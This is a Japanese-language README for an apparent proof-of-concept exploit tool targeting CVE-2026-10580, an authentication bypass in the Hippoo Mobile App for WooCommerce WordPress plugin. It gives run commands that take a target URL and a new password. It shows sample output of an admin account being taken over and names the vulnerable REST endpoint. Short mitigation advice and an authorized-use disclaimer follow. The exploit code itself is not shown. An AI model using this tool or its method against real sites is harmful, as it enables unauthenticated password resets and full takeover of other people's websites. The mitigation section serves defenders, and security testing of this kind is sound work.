WordPress - Hippoo Mobile App for WooCommerce <= 1.9.4 - 認証バイパスによる管理者アカウント乗っ取り

概要

このツールは、CVE-2026-10580 の概念実証エクスプロイトです。この脆弱性は、WordPressプラグイン Hippoo Mobile App for WooCommerce（バージョン <= 1.9.4）に影響を与える認証バイパスの脆弱性です。この脆弱性により、認証されていない攻撃者が管理者を含む任意のユーザーのパスワードをリセットし、サイト全体を乗っ取ることが可能になります。

⚠️ 重要: このツールは許可されたセキュリティテストおよび教育目的のみを対象としています。所有していないシステムや明示的なテスト許可がないシステムに対して不正に使用することは違法です。

特徴

• 脆弱なREST APIエンドポイントを介してすべてのWordPressユーザーを列挙
• 指定されたユーザーID（デフォルト: 管理者ID 1）のパスワードをリセット
• カラー出力対応のシンプルなコマンドラインインターフェース
• テスト環境向けにSSL検証を無効にするオプション

使用方法

前提条件

• Python 3.6+
• requests ライブラリ

依存関係のインストール:

pip install requests

基本コマンド

python3 exploit.py -t https://target-site.com -p NewPassword123!

オプション

使用例

デフォルトの管理者ID (1) とSSL検証を使用した攻撃:

python3 exploit.py -t https://example.com -p PwnedCVE2026!!

特定のユーザーIDをターゲットにし、SSL検証を無効にする:

python3 exploit.py -t https://example.com -p NewPass123 -i 2 -k

バナーなしで実行:

python3 exploit.py -t https://example.com -p NewPass123 --no-banner

出力例

[+] Found 3 user(s)
    - User ID: 1 | Username: admin | Role: administrator
    - User ID: 2 | Username: editor_user | Role: editor
    - User ID: 3 | Username: subscriber1 | Role: subscriber

╔══════════════════════════════════════════════════════════════╗
║             ADMIN TAKEOVER SUCCESSFUL                        ║
╚══════════════════════════════════════════════════════════════╝
    Target: https://example.com
    Login: https://example.com/wp-admin
    Username: admin
    Password: PwnedCVE2026!!

対策

Hippooプラグインを使用している場合は、直ちにパッチ済みバージョン（>1.9.4）にアップデートしてください。さらに:

• ユーザーアカウントの不正な変更を定期的に監査する
• ログで /wp-json/wc-hippoo/v1/ext/wp/v2/users への予期しないAPIリクエストを監視する
• 必要な場合を除き、WordPress REST APIへのアクセスを制限することを検討する

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。

作者

0xgh057r3c0n

免責事項

作者はこのツールの誤用について一切の責任を負いません。責任を持って使用し、所有しているか明示的なテスト許可があるシステムでのみ使用してください。